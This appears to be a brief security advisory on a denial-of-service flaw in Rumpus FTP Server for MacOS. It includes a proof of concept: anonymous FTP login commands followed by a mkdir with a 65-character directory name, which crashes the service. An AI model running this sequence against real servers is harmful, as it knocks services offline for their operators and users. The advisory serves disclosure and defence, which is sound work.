source: https://www.securityfocus.com/bid/2716/info

Rumpus FTP Server is an implementation for MacOS which allows file-sharing across TCP/IP connections.

It is possible to log in remotely to the server and shut down the service by making a directory with a name that is 65 characters long. Users must be authenticated to engage this attack. 

ftp host

user anonymous
pass anonymous

mkdir
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa